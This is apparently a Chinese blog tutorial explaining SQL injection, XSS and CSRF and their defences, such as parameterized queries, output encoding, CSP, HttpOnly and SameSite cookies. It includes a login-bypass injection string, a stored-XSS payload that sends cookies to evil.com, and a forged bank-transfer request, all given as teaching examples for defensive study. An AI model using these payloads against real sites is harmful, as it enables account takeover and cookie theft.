Skip to content
Go back

SQL注入、XSS、CSRF——Web安全的三大经典攻击

SQL 注入、XSS、CSRF:Web 安全的三大经典攻击

一句话结论(30s)

SQL 注入、XSS、CSRF 三大攻击的共同本质是「信任了不该信任的输入」:用户输入被当作 SQL 代码、页面脚本或合法请求来执行。所以防御的共同哲学是「永不信任用户输入」——SQL 用参数化查询,XSS 用输出编码 + CSP + HttpOnly,CSRF 用 Token + SameSite Cookie。

核心原理(2min)

SQL 注入靠拼接 SQL 把输入当代码执行,用 PreparedStatement / #{} 参数化让数据与代码分离根治;XSS 靠恶意脚本注入页面被浏览器执行,用输出编码、CSP、HttpOnly Cookie 三道防线封堵;CSRF 靠跨站请求自动携带 Cookie 伪造用户操作,用 CSRF Token 和 SameSite Cookie 阻断跨站携带。

底层深入(5-10min)

SQL 注入:信任用户输入是最大的安全漏洞

攻击原理

// 危险的拼接方式
String sql = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'";

// 攻击输入:username = "admin' OR '1'='1' --"
// 拼接后:SELECT * FROM users WHERE username='admin' OR '1'='1' --' AND password='xxx'
// 效果:绕过了密码验证

💡 思考穿插:为什么字符串拼接就会被注入? 因为拼接让「数据」和「SQL 代码」长在了一起——admin' OR '1'='1' -- 里的单引号和 OR 被当成 SQL 语法执行,而不是一个普通字符串。攻击的本质不是「输入了恶意内容」,而是「数据库无法区分哪段是代码、哪段是数据」。所以防御的钥匙不是去「过滤坏字符」,而是从根上把代码和数据分开。

根本解决方案——参数化查询

// Java PreparedStatement
PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE username=? AND password=?");
ps.setString(1, username);  // 数据与SQL代码分离
ps.setString(2, password);  // 传入的值永远不会被当成SQL执行

在 MyBatis 中,#{} 走预编译防注入,${} 是字符串拼接存在注入风险。除非是动态表名/列名这种必须拼接的场景,否则一律用 #{}

💭 思考:为什么 MyBatis 里「动态表名/列名」就非得用有注入风险的 ${},而不能用安全的 #{}?——因为 #{} 的本质是预编译占位符,它把值当作「带引号的字符串字面量」绑定,而表名、列名是「标识符」,不能带引号,所以 SQL 结构(FROM 哪张表、ORDER BY 哪列)必须写死才能用 #{}。一旦表名/列名本身由用户决定,结构没法预编译,只能 ${} 拼接——于是又回到「数据和代码混在一起」的老路。所以这类场景的正确姿势不是「照旧用 ${} 拼」,而是先用白名单把用户传来的表名/列名校验死,再拼接。

💡 思考穿插:为什么参数化查询能根治注入? 因为预编译先把 SQL 结构定死、留出 ? 占位符,再把用户输入作为「纯数据」绑定进去——数据永远不参与 SQL 语法解析。即使传入 admin' OR '1'='1',它也只是被当成一个字符串值去比对,单引号不再有「闭合语法」的能力。对比拼接是「先把数据混进语法再解析」,参数化是「先定语法、后填数据」,攻击面从源头消失。

XSS(跨站脚本攻击)

攻击分类

存储型 XSS(最危险)

攻击者在评论框输入:
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

→ 内容存储在数据库
→ 其他用户浏览页面时脚本被浏览器执行
→ Cookie 被盗取

💭 思考:为什么三种 XSS 里「存储型」被标成最危险?——反射型 XSS 的脚本待在 URL 里,需要攻击者诱导受害者点链接,而且只影响「点了的那个人」;存储型 XSS 的脚本被写进数据库,任何正常浏览该页面的用户都会中招,攻击者「一次投放、全网收割」,甚至不用再主动出击。判断攻击危害,先看「攻击面有多大、是否需要受害者主动配合」——存储型把攻击面从「单个点击者」放大到「所有访客」,这就是它最危险的原因。

反射型 XSS:恶意脚本在 URL 参数中,用户点击恶意链接后脚本在当前页面执行。

防御方案

  1. 输出编码(最核心):所有用户输入在渲染到 HTML 时做转义——<&lt;>&gt;"&quot;
  2. CSP(Content Security Policy):HTTP 响应头声明允许从哪些源加载脚本,禁止内联脚本
  3. HttpOnly Cookie:即使 XSS 成功,document.cookie 也无法读取 HttpOnly 标记的 Cookie

Vue/React 默认对 {{ }} 插值做 HTML 转义,几乎消除了反射型和存储型 XSS 的风险。

💡 思考穿插:为什么「输出编码」是 XSS 防御的核心? 因为 XSS 的根源不是「输入了脚本」,而是「脚本被当成 HTML 执行了」——恶意 <script> 只有在渲染时不转义,才会被浏览器当代码解析。所以在「输出」环节把 <> 转义成 &lt;&gt;,脚本就变成了一段无害的纯文本,攻击从执行源头被掐断。防御的位置不在输入、而在输出,因为危害发生在「被执行」那一刻。

CSRF(跨站请求伪造)

攻击原理

1. 用户登录 bank.com,Cookie 中的 session 有效
2. 用户访问黑客网站 evil.com
3. evil.com 有一个隐藏表单自动提交到 bank.com/transfer?to=hacker&amount=10000
4. 浏览器自动携带 Cookie 发送请求
5. bank.com 认为是用户本人操作,执行转账

防御方案

CSRF Token:服务端生成随机 Token 嵌入表单,提交时验证。攻击者无法获取用户页面的 Token,构造的请求缺少 Token 被拒绝。

<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="随机Token">
  ...
</form>

SameSite CookieSet-Cookie: ...; SameSite=Strict,告诉浏览器”只在同站请求中携带此 Cookie”。跨站(从 evil.com 发到 bank.com)时 Cookie 不会被发送,CSRF 攻击从未发起时就被阻止。

💭 思考:既然 SameSite 能「从源头阻断跨站携带」,为什么生产里还要再加一层 CSRF Token?——因为二者堵的是 CSRF 成立的两个不同环节,各有盲区:Token 在「应用层」校验「请求是否带着只有真实表单才有的随机值」,能挡住「伪造请求」,但它要正确下发、绑定 session,一旦站内存在 XSS 漏洞 Token 还会被偷;SameSite 在「浏览器层」直接「跨站不送 Cookie」,实现零成本,但依赖浏览器支持、老浏览器不认,且 SameSite=Lax 对部分 GET 请求仍会带 Cookie。一个防「请求是假的」、一个防「Cookie 被自动送出去」,合起来才把 CSRF 的两条腿都打断——这正是「纵深防御」的思路。

💡 思考穿插:为什么 CSRF 能成立、又为什么 SameSite 能根治? 因为 CSRF 的成立前提是「浏览器对跨站请求也会自动携带 Cookie」——攻击者利用的是浏览器这一「自动」行为,而不是盗取了凭证。SameSite 正是从这个前提下手:让 Cookie 只随同站请求发送,跨站时根本不带 Cookie,攻击者伪造的请求就失去了「身份」,伪造无从谈起。所以 CSRF 的本质不是「用户被骗」,而是「浏览器替用户自动授权了」。

总结

攻击原理根本防御
SQL 注入用户输入被当成 SQL 代码执行参数化查询(PreparedStatement)
XSS恶意脚本注入页面被浏览器执行输出编码 + CSP + HttpOnly
CSRF跨站请求携带 Cookie 伪造操作CSRF Token + SameSite Cookie

三道防线的共同哲学:永远不信任用户输入。 输入要校验,输出要编码,身份要验证。

章末提问

追问 1:SQL 注入的根本原因是什么?为什么参数化查询能彻底解决?

结论先行:根本原因是「把用户输入当代码拼接」,让数据与 SQL 语法混在一起;参数化查询通过预编译把结构与数据分离,输入永远不参与语法解析。因为 攻击者利用的是「用引号闭合语法」的能力,一旦数据以占位符绑定,引号就失去了改变 SQL 结构的能力,注入就无从发生。

追问 2:XSS 和 CSRF 有什么本质区别?防御各靠什么?

结论先行:XSS 是在受害者浏览器里执行攻击者的脚本(偷 Cookie),核心防御是输出编码;CSRF 是利用浏览器自动携带 Cookie 冒充用户发起请求(伪造操作),核心防御是 Token + SameSite。因为 一个要「防止脚本被浏览器执行」,一个要「防止跨站请求被当成本人操作」,攻击目标和路径不同,防御手段也不同。

结论先行:因为 HttpOnly 只让 document.cookie 读不到,阻断的是「XSS 主动读 Cookie」;但 CSRF 根本不读 Cookie,它靠浏览器自动携带 Cookie 发请求。因为 二者的攻击路径不同——XSS 是「读」,CSRF 是「带」,所以 HttpOnly 防不了 CSRF,CSRF 必须靠 Token(校验请求来源合法性)或 SameSite(阻止跨站携带)来防。


Share this post on:

Previous Post
SYN Flood攻击与syncookies防御——半连接队列打满的原理
Next Post
OSI七层模型与TCP/IP四层模型